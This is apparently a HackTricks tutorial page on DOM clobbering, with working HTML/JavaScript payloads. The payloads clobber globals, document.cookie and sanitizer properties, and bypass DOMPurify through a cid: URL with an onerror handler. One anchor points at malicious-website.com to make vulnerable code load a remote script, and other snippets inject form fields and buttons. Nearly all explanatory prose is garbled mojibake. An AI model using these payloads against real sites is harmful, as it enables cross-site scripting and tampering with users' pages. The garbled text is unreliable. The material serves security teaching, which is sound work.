Dom Clobbering

Support HackTricks

рдмреБрдирд┐рдпрд╛рджреА рдмрд╛рддреЗрдВ

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ JS рд╕рдВрджрд░реНрдн рдХреЗ рднреАрддрд░ рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ HTML рдЯреИрдЧ рдореЗрдВ id рдФрд░ name рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рд╕рд╛рдеред

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

рдХреЗрд╡рд▓ рдХреБрдЫ рддрддреНрд╡ name attribute рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЧреНрд▓реЛрдмрд▓реНрд╕ рдХреЛ рдХреНрд▓реЙрдмрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╡реЗ рд╣реИрдВ: embed, form, iframe, image, img рдФрд░ objectред

рджрд┐рд▓рдЪрд╕реНрдк рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рдЬрдм рдЖрдк рдПрдХ form element рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЛ clobber рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рддрддреНрд╡ рдХрд╛ toString рдорд╛рди рдорд┐рд▓реЗрдЧрд╛: [object HTMLFormElement] рд▓реЗрдХрд┐рди anchor рдХреЗ рд╕рд╛рде toString рдПрдВрдХрд░ рдХрд╛ href рд╣реЛрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк a рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд▓реЙрдмрд░ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк string рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░рддреЗ рд╕рдордп value рдХреЛ control рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

рдпрд╣ рдПрдХ рдПрд░реЗ рдФрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рдХреНрд▓реЙрдмрд░ рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

рдПрдХ 3rd рд╡рд┐рд╢реЗрд╖рддрд╛ (рдЬреИрд╕реЗ x.y.z) рдХреЛ рдХреНрд▓реЙрдмрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдПрдХ form рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Clobbering рдЕрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИ рд▓реЗрдХрд┐рди рдлрд┐рд░ рднреА рд╕рдВрднрд╡ рд╣реИ, iframes рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

рд╕реНрдЯрд╛рдЗрд▓ рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ iframes рдХреЛ рд░реЗрдВрдбрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╕рдордп рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд┐рдирд╛ рдЖрдкрдХреЛ undefined рдХрд╛ рдЕрд▓рд░реНрдЯ рдорд┐рд▓реЗрдЧрд╛ред

рдЧрд╣рд░реЗ рдЧреБрдгреЛрдВ рдХреЛ рдХреНрд▓реЙрдмрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк html рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЗ рд╕рд╛рде iframes рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рддрд░рд╣ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

рдлрд┐рд▓реНрдЯрд░ рдмрд╛рдпрдкрд╛рд╕рд┐рдВрдЧ

рдпрджрд┐ рдПрдХ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рд╕реА рдиреЛрдб рдХреА рдЧреБрдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реВрдкрд┐рдВрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ document.getElementByID('x').attributes рддреЛ рдЖрдк .attributes рдЧреБрдг рдХреЛ рдХреНрд▓реЙрдмрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЛ рддреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдиреНрдп DOM рдЧреБрдг рдЬреИрд╕реЗ tagName, nodeName рдпрд╛ parentNode рдФрд░ рднреА рдХреНрд▓реЙрдмрд░ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рд╣реИрдВред

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдХрд┐:

var someObject = window.someObject || {};

HTML рдХреЛ рдкреГрд╖реНрда рдкрд░ рдореИрдирд┐рдкреБрд▓реЗрдЯ рдХрд░рдирд╛ someObject рдХреЛ рдПрдХ DOM рдиреЛрдб рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдкреЗрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк someObject рдХреЛ рдПрдХ рдПрдВрдХрд░ рддрддреНрд╡ рдХреЗ рд╕рд╛рде рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ:

<a id=someObject href=//malicious-website.com/malicious.js></a>

рдПрдХ рдХрдордЬреЛрд░ рдХреЛрдб рдЬреИрд╕реЗ:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

рдпрд╣ рд╡рд┐рдзрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реНрд░реЛрдд рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдЕрд╡рд╛рдВрдЫрд┐рдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреА рд╣реИред

рдЯреНрд░рд┐рдХ: DOMPurify рдЖрдкрдХреЛ cid: рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдбрдмрд▓-рдХреЛрдЯреНрд╕ рдХреЛ URL-рдПрдиреНрдХреЛрдб рдирд╣реАрдВ рдХрд░рддрд╛ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдПрдХ рдПрдиреНрдХреЛрдбреЗрдб рдбрдмрд▓-рдХреЛрдЯреНрд╕ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд░рдирдЯрд╛рдЗрдо рдкрд░ рдбрд┐рдХреЛрдб рд╣реЛрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> HTML рдПрдиреНрдХреЛрдбреЗрдб &quot; рдХреЛ рд░рдирдЯрд╛рдЗрдо рдкрд░ рдбрд┐рдХреЛрдб рдХрд░реЗрдЧрд╛ рдФрд░ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рд╡реИрд▓реНрдпреВ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдХрд░ onerror рдЗрд╡реЗрдВрдЯ рдмрдирд╛рдПрдЧрд╛ред

рдПрдХ рдФрд░ рддрдХрдиреАрдХ form рддрддреНрд╡ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред рдХреБрдЫ рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдкреБрд╕реНрддрдХрд╛рд▓рдп рдирдП рдмрдирд╛рдП рдЧрдП рдлреЙрд░реНрдо рддрддреНрд╡ рдХреЗ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЙрдиреНрд╣реЗрдВ рд╕рд╛рдл рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдлреЙрд░реНрдо рдХреЗ рдЕрдВрджрд░ id=attributes рдХреЗ рд╕рд╛рде рдПрдХ input рдЬреЛрдбрд╝рдХрд░, рдЖрдк рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯреНрд╕ рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рджреЗрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝рд░ рдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯреНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЖрдк рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рдХреНрд▓реЙрдмрд░рд┐рдВрдЧ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЗрд╕ CTF рд▓реЗрдЦ рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдХреНрд▓реЙрдмрд░рд┐рдВрдЧ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдСрдмреНрдЬреЗрдХреНрдЯ

рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдЕрдиреБрд╕рд╛рд░, DOM рдХреНрд▓реЙрдмрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯреНрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:

Document рдЗрдВрдЯрд░рдлреЗрд╕ рдирд╛рдорд┐рдд рдкреНрд░реЙрдкрд░реНрдЯреАрдЬрд╝ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред Document рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд╕рдорд░реНрдерд┐рдд рдкреНрд░реЙрдкрд░реНрдЯреА рдирд╛рдо рдХрд┐рд╕реА рднреА рдХреНрд╖рдг рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдЯреНрд░реА рдСрд░реНрдбрд░ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЬреЛ рддрддреНрд╡ рдЙрдиреНрд╣реЗрдВ рдпреЛрдЧрджрд╛рди рджреЗрддрд╛ рд╣реИ, рдмрд╛рдж рдХреА рдбреБрдкреНрд▓рд┐рдХреЗрдЯреНрд╕ рдХреЛ рдирдЬрд░рдЕрдВрджрд╛рдЬ рдХрд░рддреЗ рд╣реБрдП, рдФрд░ рдЬрдм рдПрдХ рд╣реА рддрддреНрд╡ рджреЛрдиреЛрдВ рдХреЛ рдпреЛрдЧрджрд╛рди рджреЗрддрд╛ рд╣реИ, рддреЛ рдирд╛рдо рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯреНрд╕ рд╕реЗ рдкрд╣рд▓реЗ id рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯреНрд╕ рдХреЗ рдорд╛рди рдЖрддреЗ рд╣реИрдВ:

- рд╕рднреА exposed embed, form, iframe, img, рдФрд░ exposed object рддрддреНрд╡реЛрдВ рдХреЗ рд▓рд┐рдП рдирд╛рдо рд╕рд╛рдордЧреНрд░реА рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдХрд╛ рдорд╛рди рдЬреЛ рдПрдХ рдЧреИрд░-рдЦрд╛рд▓реА рдирд╛рдо рд╕рд╛рдордЧреНрд░реА рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рд╣реИ рдФрд░ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╡реГрдХреНрд╖ рдореЗрдВ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЙрдирдХреЗ root рдХреЗ рд░реВрдк рдореЗрдВ рд╣реИ; - рд╕рднреА exposed object рддрддреНрд╡реЛрдВ рдХреЗ рд▓рд┐рдП id рд╕рд╛рдордЧреНрд░реА рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдХрд╛ рдорд╛рди рдЬреЛ рдПрдХ рдЧреИрд░-рдЦрд╛рд▓реА id рд╕рд╛рдордЧреНрд░реА рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рд╣реИ рдФрд░ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╡реГрдХреНрд╖ рдореЗрдВ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЙрдирдХреЗ root рдХреЗ рд░реВрдк рдореЗрдВ рд╣реИ; - рд╕рднреА img рддрддреНрд╡реЛрдВ рдХреЗ рд▓рд┐рдП id рд╕рд╛рдордЧреНрд░реА рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдХрд╛ рдорд╛рди рдЬреЛ рдПрдХ рдЧреИрд░-рдЦрд╛рд▓реА id рд╕рд╛рдордЧреНрд░реА рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдФрд░ рдПрдХ рдЧреИрд░-рдЦрд╛рд▓реА рдирд╛рдо рд╕рд╛рдордЧреНрд░реА рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рджреЛрдиреЛрдВ рд╣реИрдВ, рдФрд░ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╡реГрдХреНрд╖ рдореЗрдВ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЙрдирдХреЗ root рдХреЗ рд░реВрдк рдореЗрдВ рд╣реИред

рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдорд╛рдиреЛрдВ рдЬреИрд╕реЗ document.cookie, document.body, document.children, рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЗрдВрдЯрд░рдлреЗрд╕ рдореЗрдВ рд╡рд┐рдзрд┐рдпреЛрдВ рдЬреИрд╕реЗ document.querySelector рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2)┬а[img, form, cookie: img]

typeof(document.cookie)
'object

Writing after the element clobbered

document.getElementById() рдФрд░ document.querySelector() рдХреЗ рдХреЙрд▓ рдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдПрдХ рд╕рдорд╛рди id рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде <html> рдпрд╛ <body> рдЯреИрдЧ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрди рдЗрдВрдЬреЗрдХреНрдЯреЗрдб HTML/body рдЯреИрдЧреНрд╕ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реИрд▓рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, innerText рдореЗрдВ рдЕрдиреНрдп рдкрд╛рда рд╕реЗ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣рдорд▓реЗ рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреЛ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVG рдХреА рдЬрд╛рдВрдЪ рд╕реЗ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ <body> рдЯреИрдЧ рдХреЛ рднреА рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVG рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдЬреИрд╕реЗ Chrome рдФрд░ Firefox рдореЗрдВ HTML рдЯреИрдЧ рдХреЗ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ <foreignobject> рдЯреИрдЧ рдЖрд╡рд╢реНрдпрдХ рд╣реИ:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк рдХреБрдЫ рдЯреИрдЧреНрд╕ рдХреЗ рдЕрдВрджрд░ form рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ рдлреЙрд░реНрдо рдХреЗ рдЕрдВрджрд░ рдирдП рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдЬреЛрдбрд╝реЗрдВред рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдлреЙрд░реНрдо рдХреЗ рдЕрдВрджрд░ рдирдП рдорд╛рди рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдПрдХ рдирдпрд╛ рдмрдЯрди рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЗрд╕реЗ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП (рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдпрд╛ рдХреБрдЫ .click() JS рдХреЛрдб рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

рд╕рдВрджрд░реНрдн

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated